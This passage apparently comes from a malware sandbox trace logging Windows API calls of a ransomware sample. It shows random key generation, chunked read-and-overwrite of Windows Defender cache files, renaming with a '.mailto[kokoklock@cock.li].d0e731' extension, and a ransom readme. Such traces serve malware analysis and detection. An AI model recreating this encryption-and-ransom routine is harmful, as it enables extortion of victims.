0x5d845e0 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x183b9921 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x96dc6642 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x5c16a64a [0079.503] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x7beb96a9 [0079.503] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x5d947b96 [0079.503] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0xb509f9a1 [0079.503] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0xd4cd8534 [0079.503] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0xa0d92912 [0079.503] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0xb5dc6d0 [0079.503] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0xfa910ee1 [0079.503] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0xecca0c00 [0079.503] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x8ee786a4 [0079.503] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0xb66b9afc [0079.503] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0xb0cd217c [0079.503] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0xa880c62d [0079.514] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.514] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a60) returned 1 [0079.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.514] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.514] ReadFile (in: hFile=0x5cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21c3fa24, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21c3fa24*=0x4096, lpOverlapped=0x0) returned 1 [0079.531] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.531] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.531] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.531] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34918f8 [0079.531] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34918f8) returned 1 [0079.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0079.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34918a8 [0079.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a38 [0079.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a38) returned 1 [0079.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.532] WriteFile (in: hFile=0x5cc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21c3fa24, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x21c3fa24*=0x4096, lpOverlapped=0x0) returned 1 [0079.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0079.532] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x1afeb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.532] ReadFile (in: hFile=0x5cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21c3fa24, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21c3fa24*=0x4096, lpOverlapped=0x0) returned 1 [0079.549] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x1afeb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.549] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.549] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.549] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a60 [0079.549] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a60) returned 1 [0079.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a60 [0079.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e70 [0079.550] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.550] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.550] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.550] WriteFile (in: hFile=0x5cc, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21c3fa24, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x21c3fa24*=0x4096, lpOverlapped=0x0) returned 1 [0079.550] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.550] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x354e99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.550] ReadFile (in: hFile=0x5cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21c3fa24, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21c3fa24*=0x4096, lpOverlapped=0x0) returned 1 [0079.555] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x354e99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0079.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e20 [0079.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e20) returned 1 [0079.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e20 [0079.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491d30 [0079.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491d30) returned 1 [0079.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0079.556] WriteFile (in: hFile=0x5cc, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21c3fa24, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x21c3fa24*=0x4096, lpOverlapped=0x0) returned 1 [0079.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.557] WriteFile (in: hFile=0x5cc, lpBuffer=0x34918a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21c3fa80, lpOverlapped=0x0 | out: lpBuffer=0x34918a8*, lpNumberOfBytesWritten=0x21c3fa80*=0x20, lpOverlapped=0x0) returned 1 [0079.557] WriteFile (in: hFile=0x5cc, lpBuffer=0x3491a60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21c3fa80, lpOverlapped=0x0 | out: lpBuffer=0x3491a60*, lpNumberOfBytesWritten=0x21c3fa80*=0x20, lpOverlapped=0x0) returned 1 [0079.557] WriteFile (in: hFile=0x5cc, lpBuffer=0x3491e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21c3fa80, lpOverlapped=0x0 | out: lpBuffer=0x3491e20*, lpNumberOfBytesWritten=0x21c3fa80*=0x20, lpOverlapped=0x0) returned 1 [0079.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.557] WriteFile (in: hFile=0x5cc, lpBuffer=0x3491808*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x21c3fa88, lpOverlapped=0x0 | out: lpBuffer=0x3491808*, lpNumberOfBytesWritten=0x21c3fa88*=0x8, lpOverlapped=0x0) returned 1 [0079.557] WriteFile (in: hFile=0x5cc, lpBuffer=0x21c3faa0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21c3fa88, lpOverlapped=0x0 | out: lpBuffer=0x21c3faa0*, lpNumberOfBytesWritten=0x21c3fa88*=0x4, lpOverlapped=0x0) returned 1 [0079.557] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21c3fa88, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x21c3fa88*=0x4, lpOverlapped=0x0) returned 1 [0079.557] WriteFile (in: hFile=0x5cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x21c3fa88, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x21c3fa88*=0x6c, lpOverlapped=0x0) returned 1 [0079.558] WriteFile (in: hFile=0x5cc, lpBuffer=0x3491970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21c3fa88, lpOverlapped=0x0 | out: lpBuffer=0x3491970*, lpNumberOfBytesWritten=0x21c3fa88*=0x20, lpOverlapped=0x0) returned 1 [0079.558] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21c3fa88, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x21c3fa88*=0x4, lpOverlapped=0x0) returned 1 [0079.558] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491970) returned 1 [0079.558] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ce0) returned 1 [0079.558] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0079.558] CloseHandle (hObject=0x5cc) returned 1 [0079.558] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.558] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0" [0079.558] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0.mailto[kokoklock@cock.li].d0e731" [0079.558] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.a0"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.a0.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.559] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.559] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.559] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0", dwFileAttributes=0x20) returned 0 [0079.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c428 [0079.559] wcscpy (in: _Dest=0x348c428, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.560] wcscat (in: _Dest=0x348c428, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.560] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c428) returned 1 [0079.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494898) returned 1 [0079.560] RtlExitUserThread (Status=0x1) Thread: id = 927 os_tid = 0x1580 [0079.474] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cb")) returned 0x20 [0079.567] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB", dwFileAttributes=0x20) returned 1 [0079.572] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0079.572] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x21cbfe54 | out: lpFileSize=0x21cbfe54*=393209) returned 1 [0079.572] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x5fff5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.572] ReadFile (in: hFile=0x43c, lpBuffer=0x21cbfe28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21cbfe24, lpOverlapped=0x0 | out: lpBuffer=0x21cbfe28*, lpNumberOfBytesRead=0x21cbfe24*=0x4, lpOverlapped=0x0) returned 1 [0079.574] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.574] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f60 [0079.574] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e70 [0079.574] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492050 [0079.574] NtQuerySystemTime (in: CurrentTime=0x21cbfe00 | out: CurrentTime=0x21cbfe00*=132121176374699224) returned 0x0 [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xbd06fa08 [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x445368f6 [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x1eafcf4e [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x9ac053cc [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xcc331bcf [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xd0061654 [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x252b5fcb [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x2bf8e8bd [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x25ec1a9 [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xe1f9684f [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x125e0e4f [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xdfbfa560 [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xa0d80ead [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x79847f3c [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x1b6c8475 [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xd6c704f5 [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x3e0a636a [0079.574] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xedabb7ac [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xa72fb8cd [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x613e608 [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x2b840802 [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xf34ed9ae [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x1a050058 [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xef81c289 [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x9c2cd6a5 [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x42f4bf12 [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x838c332c [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xbeeef3c3 [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x892e7a6a [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0x10545f1e [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xfa000b2e [0079.575] RtlRandom (in: Seed=0x21cbfe0c | out: Seed=0x21cbfe0c) returned 0xa00cb309 [0079.586] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.586] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491f60) returned 1 [0079.586] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.586] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.586] ReadFile (in: hFile=0x43c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21cbfdc0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21cbfdc0*=0x4096, lpOverlapped=0x0) returned 1 [0079.588] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.588] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491fd8 [0079.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e48 [0079.588] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e48) returned 1 [0079.588] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.588] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.588] WriteFile (in: hFile=0x43c, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21cbfdc0, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x21cbfdc0*=0x4096, lpOverlapped=0x0) returned 1 [0079.589] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.589] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x30708, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.589] ReadFile (in: hFile=0x43c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21cbfdc0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21cbfdc0*=0x4096, lpOverlapped=0x0) returned 1 [0079.589] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x30708, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34920c8 [0079.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34920c8) returned 1 [0079.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34920c8 [0079.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.590] WriteFile (in: hFile=0x43c, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21cbfdc0, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x21cbfdc0*=0x4096, lpOverlapped=0x0) returned 1 [0079.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.591] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x5bf63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.591] ReadFile (in: hFile=0x43c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21cbfdc0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21cbfdc0*=0x4096, lpOverlapped=0x0) returned 1 [0079.593] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x5bf63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0079.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e48 [0079.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e48) returned 1 [0079.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e48 [0079.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491d30 [0079.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491d30) returned 1 [0079.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0079.593] WriteFile (in: hFile=0x43c, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21cbfdc0, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x21cbfdc0*=0x4096, lpOverlapped=0x0) returned 1 [0079.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.594] WriteFile (in: hFile=0x43c, lpBuffer=0x3491fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21cbfe1c, lpOverlapped=0x0 | out: lpBuffer=0x3491fd8*, lpNumberOfBytesWritten=0x21cbfe1c*=0x20, lpOverlapped=0x0) returned 1 [0079.594] WriteFile (in: hFile=0x43c, lpBuffer=0x34920c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21cbfe1c, lpOverlapped=0x0 | out: lpBuffer=0x34920c8*, lpNumberOfBytesWritten=0x21cbfe1c*=0x20, lpOverlapped=0x0) returned 1 [0079.594] WriteFile (in: hFile=0x43c, lpBuffer=0x3491e48*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21cbfe1c, lpOverlapped=0x0 | out: lpBuffer=0x3491e48*, lpNumberOfBytesWritten=0x21cbfe1c*=0x20, lpOverlapped=0x0) returned 1 [0079.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.594] WriteFile (in: hFile=0x43c, lpBuffer=0x3492190*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x21cbfe24, lpOverlapped=0x0 | out: lpBuffer=0x3492190*, 